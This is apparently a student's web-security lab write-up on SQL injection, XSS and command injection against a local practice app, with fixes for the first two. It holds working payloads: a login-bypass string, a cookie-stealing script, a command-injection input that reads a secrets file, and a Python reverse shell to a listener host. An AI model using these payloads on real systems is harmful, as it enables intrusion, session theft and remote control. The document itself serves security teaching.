Lab 5

5.1 SQL

1) This is inserted in the email text field: alice@alice.com';--
   So that the SQL query conditions becomes
   SELECT … WHERE email = 'alice@alice.com';--'and password = ''
   ; adds a new line and -- comments out the rest of the condition statement

2) To fix this vulnerability, use DB-API's parameter substitution instead

```
c.execute("SELECT * FROM users WHERE email=? and password=?"
          , (email, password))
```

5.2 XSS

Second Order comment

alice innocent comment
<script>var url = 'http://127.0.0.1:5000/news?text=this+is+my+cookie+->+'+document.cookie;var oReq = new XMLHttpRequest();oReq.open("GET", url);oReq.send()</script>

First order comment with link (script is url-encoded):

click this innocent link

1) Insert this as a comment:

   alice innocent comment
<script>var url = 'http://127.0.0.1:5000/news?text=this+is+my+cookie+->+'+document.cookie;var oReq = new XMLHttpRequest();oReq.open("GET", url);oReq.send()</script>

   When anyone loads the page with this comment, the javascript script will cause the user to /news?text= this+is+my+cookie+->+(document.cookie)
   Which is an api call to post a text with his cookie for others to see

2) Cookies for a specific website cannot be accessed by other websites, and only accessible when one is visiting that specific website. Thus, one cannot obtain cookies for other websites if this script is embedded in a third party website. But will only work if the script is injected into the specific targeted website.

3) Yes, Change <li> {{ item[0] }} says: {{item[1]|safe}} to

   {{ item[0] }} says: {{item[1]}}

   The safe filter explicitly marks the string as 'safe' and should not be enabled as user comments may contain html tags that allow it to be automatically-escaped.

5.3 Injection

1) Insert
   "google.com && cat secrets"
   into the ping text field

   In the server script, the command shell would ping website, and return the output to the user. It works because the command shell will ping the website && cat secrets, as such the content of secrets is returned as an output to the web user.

2) google.com && python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.2",50001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

   and on the listener:
   $ nc -l –p 50001 -vvv

   It creates a socket and copies the socket file descriptor into the standard input output and error file descriptors. Then it runs bourne shell using the sh command